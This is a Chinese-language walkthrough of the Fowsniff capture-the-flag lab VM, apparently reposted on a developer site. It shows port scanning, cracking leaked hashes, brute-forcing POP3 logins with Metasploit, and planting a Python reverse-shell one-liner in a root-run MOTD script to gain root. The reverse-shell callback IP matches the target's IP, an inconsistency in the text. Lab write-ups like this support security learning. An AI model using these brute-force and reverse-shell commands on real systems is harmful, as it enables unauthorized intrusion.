内容简介:大家好,今天我们的靶机是fowsniff,这是一个boot2root的挑战,目的是获取root权限。靶机下载地址在废话不多说,直接进入实际操作。·端口扫描和IP发现
介绍
大家好,今天我们的靶机是fowsniff,这是一个boot2root的挑战,目的是获取root权限。靶机下载地址在 这里 。
废话不多说,直接进入实际操作。
目录
·端口扫描和IP发现
· 测试80端口
· 在pastebin上找到哈希值
· 解码哈希
· 暴力破解pop3登录
· 连接到pop3
· 找到ssh用户名和密码
· 找到提权的方法
· 利用系统配置不当
· 获取root权限
· 获取flag
实战过程
我们先开始进行端口扫描,使用netdiscover命令:
netdiscover
发现目标IP地址是192.168.1.29
接下来用nmap神器来扫描目标IP地址,命令如下:
nmap -A -p -T4 192.168.1.29
扫描结果显示有4个端口开放,22(ssh),80(http),110(pop3),143(imap)。
先看看80端口会不会有收获,打开浏览器访问:
页面上没有发现什么,继续使用dirb和nikto进行扫描也没有什么收获,于是我Google了一番页面上显示的这个fowsniff corp,发现了一个包含用户名和密码的pastebin链接。(链接在此)。
我们找到了一些哈希值并进行在线破解,找到了一些电子邮件对应的密码,不过有9个用户名,却只破解了8个哈希,如图:
所以我创建了两个字典,一个是用户名字典,一个是密码字典。我们将使用这两个字典来爆破pop3登录。
我们使用msf来爆破pop3登录,命令和配置如下:
msf > use auxiliary/scanner/pop3/pop3_login msf auxiliary(scanner/pop3/pop3_login) > set rhosts 192.168.1.29 msf auxiliary(scanner/pop3/pop3_login) > set user_file user.txt msf auxiliary(scanner/pop3/pop3_login) > set pass_file pass.txt msf auxiliary(scanner/pop3/pop3_login) > set verbose false msf auxiliary(scanner/pop3/pop3_login) > run
运行之后我们找到了正确的凭证,“seina:scoobydoo2”,如图:
接着我们连接到靶机的pop3服务上,使用刚才获取的凭证进行登录。登录上之后,我们查看下信息,发现有两条信息,命令如下:
nc 192.168.1.29 110 user seina pass scoobydoo2 list
我们查看第一条信息的内容,发现它包含ssh的密码
retr 1
接着查看第二条信息,信息中可以看到发件人是[email protected],可以推断用户名是baksteen:
retr 2
接着我们使用刚才获得的凭证,也就是“baksteen:S1ck3nBluff+secureshell”来登录ssh:
ssh <a href="/cdn-cgi/l/email-protection" data-cfemail="3153505a424554545f710008031f0007091f001f0308">[email protected]</a>
登录成功。
对系统进行一下枚举,发现用户baksteen属于两个不同的组。我们尝试找到属于users组的文件,发现了一个脚本“cube.sh”,查找命令如下:
find / -group users -type f 2>/dev/null
我们查看一下这个脚本文件的内容,发现它包含我们ssh登陆后出现的界面信息,对照上图ssh登录成功后的截图便知。
cd /opt/cube cat cube.sh
我们使用vim打开该文件,并在文件结尾添加一行 Python 反弹 shell 的命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.29",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
如图:
保存后,我们尝试执行该脚本,报错,错误信息是“Python command is not found”。于是我们在系统中查找Python,发现安装的是Python3,如图:
所以我们修改反弹shell的命令为Python3,如下:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.29",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
由于我们登录到ssh时看到的banner跟cube.sh脚本包含的内容相似,所以我们来查看下“etc/update-motd.d”目录,查找运行改程序的可执行文件,发现了“00-header”这个文件运行这个shell脚本。
现在我们退出ssh,并且在本地使用netcat设置监听,然后我们重新连接ssh,这样的话,我们的反弹shell就成功执行了。
ssh <a href="/cdn-cgi/l/email-protection" data-cfemail="13717278606776767d53222a213d22252b3d223d212a">[email protected]</a>
一旦成功登录,我们就获得了一个root用户的shell。我们切换到root目录,发现一个flag.txt的文件,查看文件便得到了我们的flag信息:
nc -lvp 1234 id cd /root cat flag.txt
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Coding the Matrix
Philip N. Klein / Newtonian Press / 2013-7-26 / $35.00
An engaging introduction to vectors and matrices and the algorithms that operate on them, intended for the student who knows how to program. Mathematical concepts and computational problems are motiva......一起来看看 《Coding the Matrix》 这本书的介绍吧!